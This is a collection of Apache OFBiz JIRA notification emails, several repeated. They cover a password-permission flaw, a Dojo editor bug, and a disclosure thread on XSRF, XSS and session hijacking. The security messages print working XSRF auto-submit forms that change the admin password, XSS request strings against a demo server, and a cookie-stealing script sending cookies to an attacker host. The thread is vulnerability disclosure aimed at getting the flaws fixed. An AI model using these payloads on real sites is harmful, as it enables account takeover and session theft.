[jira] Commented: (OFBIZ-2729) special security should be required for setting passwords
[ https://issues.apache.org/jira/browse/OFBIZ-2729?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12845063#action_12845063 ] Michele Orru commented on OFBIZ-2729: - Hi Jacques, I'm too much busy on multiple different works, but I will took a look at the latest Ofbiz trunk and come back with a patch. Did I have access to your SVN? :::Michele Orru'::: Network Security Manager, IntegratingWeb.com http://www.integratingweb.com special security should be required for setting passwords -- Key: OFBIZ-2729 URL: https://issues.apache.org/jira/browse/OFBIZ-2729 Project: OFBiz Issue Type: Sub-task Components: framework Affects Versions: Release Branch 4.0, Release Branch 9.04, SVN trunk Reporter: Si Chen This issue was first brought up here: https://sourceforge.net/forum/message.php?msg_id=7496877 Basically, any user with PARTYMGR_CREATE/UPDATE permissions can set the password of another user. This creates opportunity for Malfeasance. For example, a customer service rep could set the password of the admin user. A simple solution would be to create a new security permission PARTYMGR_PASSWD and require that permission for setting or changing password of a different user, instead of using PARTYMGR_UPDATE. PARTYMGR_PASSWD could then be associated with the administrative user. An alternative is to use the SECURITY_UPDATE permission instead of PARTYMGR_UPDATE or a new PARTYMGR_PASSWD permission. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2729) special security should be required for setting passwords
[ https://issues.apache.org/jira/browse/OFBIZ-2729?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12730994#action_12730994 ] Michele Orru commented on OFBIZ-2729: - As I've specified in in SF thread, and as Si correctly pointed to me, this is a logic flaw: SecurityPermissions can be as granular as we want, but basically what is happening here is that 90% of the users will use the permissions that are already in the ofbiz seed data. Then, if we combine this flaw with the many XSRF exploitables points that are present in ofbiz, we can use an attack vector like the following: document.body.innerHTML += 'form id=maliciousform action=http://localhost:8080/partymgr/control/updatePassword; method=postinput type=hidden name=userLoginId value=euronymous666input type=hidden name=partyId value=10010input type=hidden name=currentPassword value=blablainput type=hidden name=newPassword value=passwordwedontknowinput type=hidden name=newPasswordVerify value=hardpasswdinput type=hidden name=passwordHint value=/form'; document.getElementById(maliciousform).submit(); If this code (embedded in a properly formatted page) will be executed by *any user with PARTYMGR_UPDATE privileges in the application, then even the admin password can be changed. A simple example is an e-commerce website based on the ofbiz trunk code: the website have a MyAccount page for customers, where they can modify their profiles. Almost all the time, for lack-of-time, or for requirements, the services/permissions that will be used will be the same of ofbiz. Thus, when creating a SecurityGroup for such CUSTOMER users, we will use a PARTYMGR_UPDATE permission, to let the users update their profiles (and for instance to prevent access to partymgr application, without giving them PARTYMGR_VIEW permission). In this hypothetical situation (but not so far from reality), if the user can embed JS code in some parts of the application, the game is over: we change the ADMIN password, and we have full control of the application. I've already committed a patch in opentaps trunk. :::Michele Orru'::: Network Security Manager, IntegratingWeb.com http://www.integratingweb.com special security should be required for setting passwords -- Key: OFBIZ-2729 URL: https://issues.apache.org/jira/browse/OFBIZ-2729 Project: OFBiz Issue Type: Bug Components: framework Affects Versions: Release Branch 4.0, Release Branch 9.04, SVN trunk Reporter: Si Chen This issue was first brought up here: https://sourceforge.net/forum/message.php?msg_id=7496877 Basically, any user with PARTYMGR_CREATE/UPDATE permissions can set the password of another user. This creates opportunity for Malfeasance. For example, a customer service rep could set the password of the admin user. A simple solution would be to create a new security permission PARTYMGR_PASSWD and require that permission for setting or changing password of a different user, instead of using PARTYMGR_UPDATE. PARTYMGR_PASSWD could then be associated with the administrative user. An alternative is to use the SECURITY_UPDATE permission instead of PARTYMGR_UPDATE or a new PARTYMGR_PASSWD permission. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2135) Dojo html editor problems
[
https://issues.apache.org/jira/browse/OFBIZ-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12708113#action_12708113
]
Michele Orru commented on OFBIZ-2135:
-
Everything works fine both on mac OS X leopard 10.5.6 (Firefox 3.0.10, Opera
9.6 and Safari 4).
I've tested it on CentOS too with firefox/opera and clearly is the same as
Ubuntu :)
We can consider the issue closed Jacques!
Michele
Dojo html editor problems
-
Key: OFBIZ-2135
URL: https://issues.apache.org/jira/browse/OFBIZ-2135
Project: OFBiz
Issue Type: Bug
Components: content
Affects Versions: SVN trunk
Environment: IE6, Opera 9.63, Safari
Reporter: Michele Orru
The html editor made with Dojo JS libraries, and present in module content
(request URI WebSiteCms) is not working with browsers other than Firefox.
The error is the following:
demo.hotwaxmedia.com
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:
name: TypeError
message: Statement on line 9850: Type mismatch (usually non-object value
supplied where object required)
Backtrace:
Line 9850 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
if(_949[i].charAt(1)!=l){
Line 9699 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.open();
Line 5236 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.fillInTemplate(args,frag);
Line 3924 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.buildRendering(args,_363,_364);
Line 4144 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var ret=_3a3.create(_3a2,frag,_39e,frag[ns]);
Line 4326 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
return
[dojo.widget.buildWidgetFromParseTree(ltn,_3e3,this,null,null,_3e3)];
Line 4360 of linked script
https://demo.hotwaxmedia.com/images/dojo/dojo.js: In function fromScript
return
dojo.widget.getParser().createComponentFromScript(_3f3,name,_3f5,ns);
Line 4382 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var _3f9=fromScript(tn,name.toLowerCase(),_3e8,ns);
Line 94 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore:
In function createEditor
dojo.widget.createWidget(Editor2, { id: 'w_editor',
minHeight: '300px',
Line 227 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore
createEditor(cmsdata.value);
Line 8156 of linked script
https://demo.hotwaxmedia.com/images/dojo/dojo.js: In function doLoad
_7d7[(typeof
_7d7.load==function)?load:handle](load,ret,http,_7d7);
Line 8192 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
doLoad(tif.req,tif.http,tif.url,tif.query,tif.useCache);
Line 1 of unknown script
dojo.io.XMLHTTPTransport.watchInFlight();
]
The second time the user tries to request the same resource, the error
changes in:
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:name: Error message: bad adviceObj for adviceFunc:hide]
I've tested it on MacOs Leopard 10.5.6 (Safari, Opera 9.63) and Windows (IE6,
Opera 9.63): as I've said before, only Firefox works well and without any
problem.
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2135) Dojo html editor problems
[
https://issues.apache.org/jira/browse/OFBIZ-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12707844#action_12707844
]
Michele Orru commented on OFBIZ-2135:
-
Hi Jacques
Tomorrow morning I will check it (on macOSx and Linux) on latest trunk and I
will let you know.
Thanks
Michele
Dojo html editor problems
-
Key: OFBIZ-2135
URL: https://issues.apache.org/jira/browse/OFBIZ-2135
Project: OFBiz
Issue Type: Bug
Components: content
Affects Versions: SVN trunk
Environment: IE6, Opera 9.63, Safari
Reporter: Michele Orru
The html editor made with Dojo JS libraries, and present in module content
(request URI WebSiteCms) is not working with browsers other than Firefox.
The error is the following:
demo.hotwaxmedia.com
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:
name: TypeError
message: Statement on line 9850: Type mismatch (usually non-object value
supplied where object required)
Backtrace:
Line 9850 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
if(_949[i].charAt(1)!=l){
Line 9699 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.open();
Line 5236 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.fillInTemplate(args,frag);
Line 3924 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.buildRendering(args,_363,_364);
Line 4144 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var ret=_3a3.create(_3a2,frag,_39e,frag[ns]);
Line 4326 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
return
[dojo.widget.buildWidgetFromParseTree(ltn,_3e3,this,null,null,_3e3)];
Line 4360 of linked script
https://demo.hotwaxmedia.com/images/dojo/dojo.js: In function fromScript
return
dojo.widget.getParser().createComponentFromScript(_3f3,name,_3f5,ns);
Line 4382 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var _3f9=fromScript(tn,name.toLowerCase(),_3e8,ns);
Line 94 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore:
In function createEditor
dojo.widget.createWidget(Editor2, { id: 'w_editor',
minHeight: '300px',
Line 227 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore
createEditor(cmsdata.value);
Line 8156 of linked script
https://demo.hotwaxmedia.com/images/dojo/dojo.js: In function doLoad
_7d7[(typeof
_7d7.load==function)?load:handle](load,ret,http,_7d7);
Line 8192 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
doLoad(tif.req,tif.http,tif.url,tif.query,tif.useCache);
Line 1 of unknown script
dojo.io.XMLHTTPTransport.watchInFlight();
]
The second time the user tries to request the same resource, the error
changes in:
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:name: Error message: bad adviceObj for adviceFunc:hide]
I've tested it on MacOs Leopard 10.5.6 (Safari, Opera 9.63) and Windows (IE6,
Opera 9.63): as I've said before, only Firefox works well and without any
problem.
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Michele Orru updated OFBIZ-1959: Hi I had a bit of time this morning to check XSRF mitigation on ofbiz latest trunk revision (766265). I don't see anything related to this analyzing requests, so no random token added by the application to the resources/uri that can be called for a potential XSRF attack. For instance, after logging in the partymgr application, the createnewlogin URI is a sensitive one, and should be protected with a random token appended to it. GET /partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost:8080/partymgr/control/backHome;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1 Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin More than the GET request, the successive POST is dangerous without XSRF protections: POST /partymgr/control/createUserLogin HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin Content-Type: application/x-www-form-urlencoded Content-Length: 152 enabled=partyId=adminuserLoginId=euronymouscurrentPassword=euronymous666currentPasswordVerify=euronymous666passwordHint=e6+requirePasswordChange=N My old XSRF demo is till working here: html head body form method=POST id=xsrf name=xsrf action=https://127.0.0.1:8443/catalog/control/createProduct; input type=hidden name=isCreate value=true input type=hidden name=productId value=hack02 input type=hidden name=productTypeId value=DIGITAL_GOOD input type=hidden name=internalName value=hack02 /form scriptdocument.xsrf.submit(); /script /body /head /html If open this page with the same browser you're currently logged in (for instance in the partymgr), the catalog login is proposed to you: you pass the credentials to ofbiz and the XSRF is working without any problem. david, what you said in comment of rev. 751501 is true, the patches to RequestHandler are OK, but as you can see here is enough to craft a XSRF directly to and https resource. Anyway, XSS has been fixed, XSRF is still working but is harder to exploit. Great work guys Michele Orru' Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL: https://issues.apache.org/jira/browse/OFBIZ-1959 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Michele Orru Priority: Critical Fix For: Release Branch 9.04, SVN trunk +++|||Discovered security issues|||+ 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on 3.: Session Hijacking +++|||Exploitation|||+ 1.: As can be verified with your favorite proxy tool (we use Burp), POST request parameters are never fortified to prevent XSRF: no random token protection can be seen. For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim) to executes. - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is a potential victim account and 667 the attacker one. - In POST requests it will be an auto-submit form or a XMLHttpRequest (if we would like to be more sophisticated). I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE: malicious mail link, link in chat programs, malicious pages, man in the middle attacks,
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Michele Orru updated OFBIZ-1959:
Hi developers.
As asked by Jaques a few days ago, I did a pen test on the latest ofbiz trunk
and I can see that XSS has been well mitigated...
will test for XSRF asap. Lack of free time right now :(
Good work David Jaques
All the best
Michele
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: Release Branch 9.04, SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: Release Branch 9.04, SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check
can be removed.
After we have a
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12675948#action_12675948 ] Michele Orru commented on OFBIZ-1959: - Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the quite malicious request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] !-- Begin Section Widget -- !-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -- form method=post action=/catalog/control/createProdCatalog id=EditProdCatalog class=basic-form onSubmit=javascript:submitFormDisableSubmits(this) name=EditProdCatalog div class=fieldgroup id=_G1193_div class=fieldgroup-title-bartabletrtd class=collapse/tdtd/td/tr/table/divdiv id=_G1193__body class=fieldgroup-body table cellspacing=0 class=basic-table tr td class=labelCatalog [ID]/td tdinput type=text name=prodCatalogId value=DemoCatalogquot;gt;lt;scriptgt;alert#40;6#41;lt;#47;scriptgt; size=20 maxlength=20 id=EditProdCatalog_prodCatalogId/span class=tooltipCould not Find Product Catalog with Id [DemoCatalogscriptalert(6)/script]/span /td /tr [...] Let me know Michele Orrù Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL: https://issues.apache.org/jira/browse/OFBIZ-1959 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: SVN trunk Reporter: Michele Orru Priority: Critical Fix For: SVN trunk +++|||Discovered security issues|||+ 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on 3.: Session Hijacking +++|||Exploitation|||+ 1.: As can be verified with your favorite proxy tool (we use Burp), POST request parameters are never fortified to prevent XSRF: no random token protection can be seen. For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim) to executes. - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is a potential victim account and 667 the attacker one. - In POST requests it will be an auto-submit form or a XMLHttpRequest (if we would like to be more sophisticated). I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE: malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on. The quick-and dirty code to make the XSRF attack looks as the following innocuous one: form method=POST id=xsrf name=xsrf action=https://127.0.0.1:8443/catalog/control/createProduct; input type=hidden name=isCreate value=true input type=hidden name=productId value=hack02 input type=hidden name=productTypeId value=DIGITAL_GOOD input type=hidden name=internalName value=hack02 /form scriptdocument.xsrf.submit(); /script Of course the product-creation mechanism is not finished (we need price, content and ProductName), but is just to let you understand. When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah), his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02 will be persisted inside the DB. Of course a
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12675948#action_12675948 ] euronymous edited comment on OFBIZ-1959 at 2/23/09 7:40 AM: -- Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the quite malicious request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] !-- Begin Section Widget -- !-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -- form method=post action=/catalog/control/createProdCatalog id=EditProdCatalog class=basic-form onSubmit=javascript:submitFormDisableSubmits(this) name=EditProdCatalog div class=fieldgroup id=_G1193_div class=fieldgroup-title-bartabletrtd class=collapse/tdtd/td/tr/table/divdiv id=_G1193__body class=fieldgroup-body table cellspacing=0 class=basic-table tr td class=labelCatalog [ID]/td tdinput type=text name=prodCatalogId value=DemoCatalogquot;gt;lt;scriptgt;alert#40;6#41;lt;#47;scriptgt; size=20 maxlength=20 id=EditProdCatalog_prodCatalogId/span class=tooltipCould not Find Product Catalog with Id [DemoCatalogscriptalert(6)/script]/span /td /tr [...] Let me know Michele Orrù was (Author: euronymous): Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the quite malicious request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] !-- Begin Section Widget -- !-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -- form method=post action=/catalog/control/createProdCatalog id=EditProdCatalog class=basic-form onSubmit=javascript:submitFormDisableSubmits(this) name=EditProdCatalog div class=fieldgroup id=_G1193_div class=fieldgroup-title-bartabletrtd class=collapse/tdtd/td/tr/table/divdiv id=_G1193__body class=fieldgroup-body table cellspacing=0 class=basic-table tr td class=labelCatalog [ID]/td tdinput type=text name=prodCatalogId value=DemoCatalogquot;gt;lt;scriptgt;alert#40;6#41;lt;#47;scriptgt; size=20 maxlength=20 id=EditProdCatalog_prodCatalogId/span class=tooltipCould not Find Product Catalog with Id [DemoCatalogscriptalert(6)/script]/span /td /tr [...] Let me know Michele Orrù Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL: https://issues.apache.org/jira/browse/OFBIZ-1959 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: SVN trunk Reporter: Michele Orru Priority: Critical Fix For: SVN trunk +++|||Discovered security
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12675948#action_12675948 ] euronymous edited comment on OFBIZ-1959 at 2/23/09 7:48 AM: -- Hi David, Hi Jacques Here I've found another bunch of unprotected resources vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Testing my (unsuccefull) patches, I was thinking to try the attack vectors in a few places to hotwaxmedia ofbiz trunk server... Anyway, here it is the quite malicious request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] !-- Begin Section Widget -- !-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -- form method=post action=/catalog/control/createProdCatalog id=EditProdCatalog class=basic-form onSubmit=javascript:submitFormDisableSubmits(this) name=EditProdCatalog div class=fieldgroup id=_G1193_div class=fieldgroup-title-bartabletrtd class=collapse/tdtd/td/tr/table/divdiv id=_G1193__body class=fieldgroup-body table cellspacing=0 class=basic-table tr td class=labelCatalog [ID]/td tdinput type=text name=prodCatalogId value=DemoCatalogquot;gt;lt;scriptgt;alert#40;6#41;lt;#47;scriptgt; size=20 maxlength=20 id=EditProdCatalog_prodCatalogId/span class=tooltipCould not Find Product Catalog with Id [DemoCatalogscriptalert(6)/script]/span /td /tr [...] Almost the same here: GET /catalog/control/EditProductConfigItem?configItemId=PZ%22%3E%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com [...] Let me know Michele Orrù was (Author: euronymous): Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the quite malicious request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] !-- Begin Section Widget -- !-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -- form method=post action=/catalog/control/createProdCatalog id=EditProdCatalog class=basic-form onSubmit=javascript:submitFormDisableSubmits(this) name=EditProdCatalog div class=fieldgroup id=_G1193_div class=fieldgroup-title-bartabletrtd class=collapse/tdtd/td/tr/table/divdiv id=_G1193__body class=fieldgroup-body table cellspacing=0 class=basic-table tr td 